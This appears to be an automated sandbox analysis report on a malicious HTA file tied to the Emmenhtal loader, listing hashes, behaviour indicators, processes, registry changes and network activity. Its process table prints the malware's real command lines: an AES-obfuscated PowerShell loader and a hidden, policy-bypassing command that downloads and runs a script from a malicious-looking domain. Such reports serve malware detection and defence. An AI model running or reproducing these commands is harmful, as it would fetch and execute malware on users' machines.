| File name: | ciwa.hta |
| Full analysis: | https://app.any.run/tasks/3fd51234-06b5-4ccb-99b3-cbcbced862ef |
| Verdict: | Malicious activity |
| Threats: | First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments. |
| Analysis date: | December 25, 2024, 21:32:28 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | data |
| MD5: | DDA1E7D884642C81DADFCCDCAF68E536 |
| SHA1: | 6C90DAC5A20A18C4B42E4177101290EAB72EE022 |
| SHA256: | 1FB8303A5778B5587816B63ADDF102D772DE59FF8240418D5B421B9A0F2FF409 |
| SSDEEP: | 24576:p3QoBH9BHC0/BHvQNQUSQBHvlyQJaE/HfQ6AmflBHjBHv4BQeYTBHgexuwBHvQ09:zBH9BH7BHMBH9/H9BHjBHdBH/BHvBHzD |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 6280)
- powershell.exe (PID: 7056)
Changes powershell execution policy (Unrestricted)
- mshta.exe (PID: 1556)
EMMENHTAL loader has been detected
- powershell.exe (PID: 6280)
Uses AES cipher (POWERSHELL)
- powershell.exe (PID: 6280)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 6280)
- powershell.exe (PID: 7056)
Changes powershell execution policy (Bypass)
- powershell.exe (PID: 6280)
Bypass execution policy to execute commands
- powershell.exe (PID: 7056)
SUSPICIOUS
The process bypasses the loading of PowerShell profile settings
- mshta.exe (PID: 1556)
- powershell.exe (PID: 6280)
Starts POWERSHELL.EXE for commands execution
- mshta.exe (PID: 1556)
- powershell.exe (PID: 6280)
Probably obfuscated PowerShell command line is found
- mshta.exe (PID: 1556)
Executes script without checking the security policy
- powershell.exe (PID: 6280)
- powershell.exe (PID: 7056)
Starts a new process with hidden mode (POWERSHELL)
- powershell.exe (PID: 6280)
Writes data into a file (POWERSHELL)
- powershell.exe (PID: 6280)
Application launched itself
- powershell.exe (PID: 6280)
Probably download files using WebClient
- powershell.exe (PID: 6280)
Possibly malicious use of IEX has been detected
- powershell.exe (PID: 6280)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7056)
INFO
Reads Internet Explorer settings
- mshta.exe (PID: 1556)
The process uses the downloaded file
- mshta.exe (PID: 1556)
- powershell.exe (PID: 6280)
Checks whether the specified file exists (POWERSHELL)
- powershell.exe (PID: 6280)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 6280)
Gets data length (POWERSHELL)
- powershell.exe (PID: 6280)
- powershell.exe (PID: 7056)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 6280)
Disables trace logs
- powershell.exe (PID: 7056)
Checks proxy server information
- powershell.exe (PID: 7056)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
129
Monitored processes
5
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1556 | "C:\Windows\SysWOW64\mshta.exe" C:\Users\admin\Desktop\ciwa.hta {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} | C:\Windows\SysWOW64\mshta.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6280 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function buXOd($UkWQp){return -split ($UkWQp -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$PELL = buXOd('D1BEC70F763E01D808C2848AAD1A038FA7E40CF53DDE1DE38A75862EB3A92128E9124DED9003610903200E1E1F4BB2DE3E890ACDA71EA17BD5FB4BA6982000F40400DCBD01ABD8DAFEFCCA2358FD31E0F55D6AE420E2EF8827F7E7762137C7DDA664146CCD160B4A2D3A4B03389B13101061ECC809F6BB354D68C1D45E32170D6866C71B1D97C71C923C4541A9E6F7FCAD459025F3E147242186A4105F65617171C29D257D0CC1B5945350EE4C29D30CF648344E09051C9A9F13EA1830736D3BF7AFCB7BACFAC0FDE89230FFCAB60A8AB26149517C6A849476B4D18148304E456D8F62F9C93C7A91195F85C45DAE80EF57F0CF7E7DD2FAC5B45D2AA5267BFC4CE499EAC104E26CC640C6F97A229CE28CBF8FF581D064B342BB48D24EB379A5947C26B4176A3A3359E4DC9676B008FC83B9D2A7019F8D520A6EEB6E1A460D5BFCE4FC10D11EAB9E085ACDA60AF788AD2446F101201D8EB47A8247D86EC213FDF018374F67A8EBABF7C895E5432518A0F500922841F6E4B8828E0BF2CFFC0B0B84FB3F9A755EB9E593195BB127285F44E7B746AFFF5F990A89CC2A607DAFD70B98CDAD96C8F73192D5C5085529CD27C209A40D65FB43FA0AA17617912881DB02AB0B40D03396CAD276352A9AB389DA45B61C837E8D0F62E9248AD88A15AA268B412D3526976D40E2250DB706C6C5E9E34D1AD3F5946A19DA8262F34D725102369FE819B3064F34AE99776E3175F3C5C32A22201CA4074366F46024DE06E3B82F31ECC5102584B2791BD528EA1533F9E734BD020EAA859299F806A00625A93DC942F8B41F9E8CEF489BCB625CF9E3EA771FC075462599AC6A5D76ABC794E45F1F8BE2703E2C7105C97FEF5BC301D1C703132D40361DCB1C117B7CF166659B51BE9F495300B2C8A0611D0D88C8EB0E502165BB2EF52D801FBBA3876058CA492B81F17171549802D74DCF927344F64CC87318EDC2D323D9BB9D69E28737B7C57B1A9AFC8BDED2AF7B828CFB45E289C00499C00CEA12BDB8FDAABCF69C4C8FF871D5C1CDC48B2128E0D932CDF026D900CA20C47777FBAD6364162ABEAB4C00ECB380C4');$MSuDD=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((buXOd('70454F4E706F6B73667143466E797974')),[byte[]]::new(16)).TransformFinalBlock($PELL,0,$PELL.Length)); & $MSuDD.Substring(0,3) $MSuDD.Substring(129) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6288 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) | |||||||||||||||
| 7056 | "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://srtb-served-cn2.nature-vibes.shop/ciwa.flv'))" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7064 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
9 956
Read events
9 939
Write events
17
Delete events
0
Modification events
| (PID) Process: | (1556) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (1556) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (1556) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (7056) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (7056) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (7056) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (7056) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (7056) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (7056) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (7056) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
Executable files
0
Suspicious files
2
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6280 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qq0acuai.10r.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6280 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jnooi5vq.umc.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6280 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:7323E3224E6B304AD16DC785790768C9 | SHA256:458C445785ABAA92A9BDF2EB9A6B8C38C42E4EC81F214BC9A593797002DB2D9D | |||
| 7056 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:8B8A832FCE2174C8FEE26B70F2483FBB | SHA256:0FBA3A37EF443507F533A7C3F31C0B5826EA416B95FDE43479E02D4E0C29400B | |||
| 7056 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xcjkubqn.ejf.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7056 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5usakd52.msl.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
34
DNS requests
17
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.16.164.120:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 2.16.164.120:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4724 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
4724 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6196 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 2.16.164.120:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
— | — | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5064 | SearchApp.exe | 2.23.209.187:443 | www.bing.com | Akamai International B.V. | GB | whitelisted |
— | — | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1176 | svchost.exe | 40.126.32.134:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1176 | svchost.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
1076 | svchost.exe | 184.28.89.167:443 | go.microsoft.com | AKAMAI-AS | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
login.live.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
srtb-served-cn2.nature-vibes.shop |
| unknown |
slscr.update.microsoft.com |
| whitelisted |